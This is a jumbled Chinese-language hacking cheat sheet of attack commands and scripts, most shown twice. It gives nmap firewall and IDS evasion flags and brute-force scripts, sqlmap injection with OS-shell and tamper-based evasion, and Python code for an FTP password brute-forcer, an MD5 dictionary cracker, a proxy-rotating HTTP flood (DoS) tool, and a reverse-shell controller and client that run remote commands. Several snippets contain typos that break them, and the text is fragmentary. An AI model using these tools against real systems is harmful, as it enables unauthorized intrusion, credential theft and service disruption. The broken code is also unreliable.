nmap -f [IP]
//将TCP头分段在几个包中,使过滤器、IDS以及其他工具检测更加困难nmap --mtu [num] [IP]
设定TCP/IP协议传输数据时最大传输单元,有效实现逃逸nmap -D RND:[num] [IP]
“-D”启动隐蔽扫描,让目标主机认为是利用诱饵进行扫描而非本机,实现隐藏自身IP。(应对方式:路由跟踪、响应丢弃等)nmap -sI [www.baidu.com:80] [IP]
伪造一个地址作为发起扫描的源地址nmap --source-port [num] [IP]
指定一个随机端口,通过该端口发送数据nmap -sT --spoof-mac [MAC] [IP]
nmap --data-length [num] [IP]
参杂一些随机数据影响防火墙判断nmap --script ip-geolocation-* [IP]
nmap --script whois [site]
nmap --script hostmap-ip2hosts [site]
nmap --script smb-check-vulns.nse -p [IP]
nmap -sV --script=vulscan/vulscan.nse [IP]
Vulscan漏洞扫描高级脚本,包含CVE\OSVDB\Exploit-db\openvas多个平台指纹数据,具备离线扫描功能。(脚本地址存放于目录\nmap\scripts\下)nmap --script ftp-brute --script-args userdb=user.txt,passdb=pass.txt -p 21 [IP]
通过设定的字典对FTP爆破nmap -p80 --script http-wordpress-brute --script-args userdb=user.txt,passdb=passwd.txt [IP]
// 可通过设定线程数量提高破解速度:--script-args http-wordpress.threads=[num]
nmap -p80 --script oracle-brute -p 1521 --script-args oracle-brute.sid=test --script-args userdb=username.txt,passdb=passwd.txt [IP]
(MySQL操作一致)sqlmap -u URL --tables
sqlmap -u URL/id/40*.html --dbs
sqlmap -u "http://xxx.xxx.xxx/shownews.asp" --cookie "id=25" --tables --level 2
--cookie
进行连接--level
等级2级以上--data
指定注入点:sqlmap -u http://xxx/Login.asp --data "[Name]=1&[Password]=1"
--forms
sqlmap自动获取相关信息,查看输出结果Payload:
处:sqlmap -u http://domain/Login.asp --forms
--delay 1
使用延迟方法逃逸--tamper "xxx.py"
执行逃逸脚本(默认脚本位置:/usr/share/sqlmap/tamper/)--os-cmd=xxx
--os-shell
filename="xxx.php"
Content-Type:
from ftplib import FTP def ftp_login(host,username,password) try: ftp=FTP() ftp.connect(host,21) ftp.login(username,password) ftp.quit() print("[+]Sucess Password:",password) except: pass def ftp_try(host,username,password): for i in open(password): ftp_login(host,username,i.strip()) if __name__=='__main__': ftp_try('192.168.0.1','admin','/home/password.txt')
from ftplib import FTP
def ftp_login(host,username,password)
try:
ftp=FTP()
ftp.connect(host,21)
ftp.login(username,password)
ftp.quit()
print("[+]Sucess Password:",password)
except:
pass
def ftp_try(host,username,password):
for i in open(password):
ftp_login(host,username,i.strip())
if __name__=='__main__':
ftp_try('192.168.0.1','admin','/home/password.txt')
import hshlib md5 = hashlib.md5() md5.update('Python'.encode('utf-8')) print(md5.hexidigest())
import hshlib
md5 = hashlib.md5()
md5.update('Python'.encode('utf-8'))
print(md5.hexidigest())
import hashlib import datetime import sys name=sys.argv[1] starttime=datetime.datetime.now() for i in open(r'C:/123.txt'): rs=i.strip() md5=hashlib.md5() md5.update(rs.encode('utf-8')) newmd5 = md5.hexdigest() if newmd5 == name: print("解密成功!明文是:",rs) break else: pass endtime = datetime.datetime.now() print(endtime-starttime)
import hashlib
import datetime
import sys
name=sys.argv[1]
starttime=datetime.datetime.now()
for i in open(r'C:/123.txt'):
rs=i.strip()
md5=hashlib.md5()
md5.update(rs.encode('utf-8'))
newmd5 = md5.hexdigest()
if newmd5 == name:
print("解密成功!明文是:",rs)
break
else:
pass
endtime = datetime.datetime.now()
print(endtime-starttime)
from urllib import request import threading url = "http://www.xxxx.com/" proxies=["114.xxx.xxx.xx:xxxx","xxx.xxx.xxx.xxx:xxxx","xxx.xxx.xxx:xxxx"] class cc(threading.Thread): def __init__(self,url,proxies): super(cc,self).__init__() self.url=url self.proxies=proxies self.start()
from urllib import request
import threading
url = "http://www.xxxx.com/"
proxies=["114.xxx.xxx.xx:xxxx","xxx.xxx.xxx.xxx:xxxx","xxx.xxx.xxx:xxxx"]
class cc(threading.Thread):
def __init__(self,url,proxies):
super(cc,self).__init__()
self.url=url
self.proxies=proxies
self.start()
# class cc(threading,Thread): def run(self): while True: try: pro_random = random.choice(self.proxies) pro_support = request.ProxyHandler({"http":pro_random}) opener = request.build_opener(pro_support) request.install_opener(opener) request.urlopen(self.url) except: pass
# class cc(threading,Thread):
def run(self):
while True:
try:
pro_random = random.choice(self.proxies)
pro_support = request.ProxyHandler({"http":pro_random})
opener = request.build_opener(pro_support)
request.install_opener(opener)
request.urlopen(self.url)
except:
pass
for i in range(5000): cc(url.proxies)
for i in range(5000):
cc(url.proxies)
import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('',1234)) s.listen(100) conn,addr = s.accept() while 1: command = input('......>') if command == 'exit()': conn.send(command.encode('gbk')) break else: if command == '': continue conn,send(command.encode('gbk')) result = conn.recv(1024) print(result.decode('gbk','ignore')) s.close()
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('',1234))
s.listen(100)
conn,addr = s.accept()
while 1:
command = input('......>')
if command == 'exit()':
conn.send(command.encode('gbk'))
break
else:
if command == '':
continue
conn,send(command.encode('gbk'))
result = conn.recv(1024)
print(result.decode('gbk','ignore'))
s.close()
import socket,subprocess as sp,sys,re conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM) conn.connect(('127.0.0.1',1234)) while 1: command = conn.renv(1024) if command == 'exit()': break else: sh = sp.Popen(command.decode('gbk'),shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE) out,err=sh.communicate() conn.send(out) conn.close()
import socket,subprocess as sp,sys,re
conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
conn.connect(('127.0.0.1',1234))
while 1:
command = conn.renv(1024)
if command == 'exit()':
break
else:
sh = sp.Popen(command.decode('gbk'),shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE)
out,err=sh.communicate()
conn.send(out)
conn.close()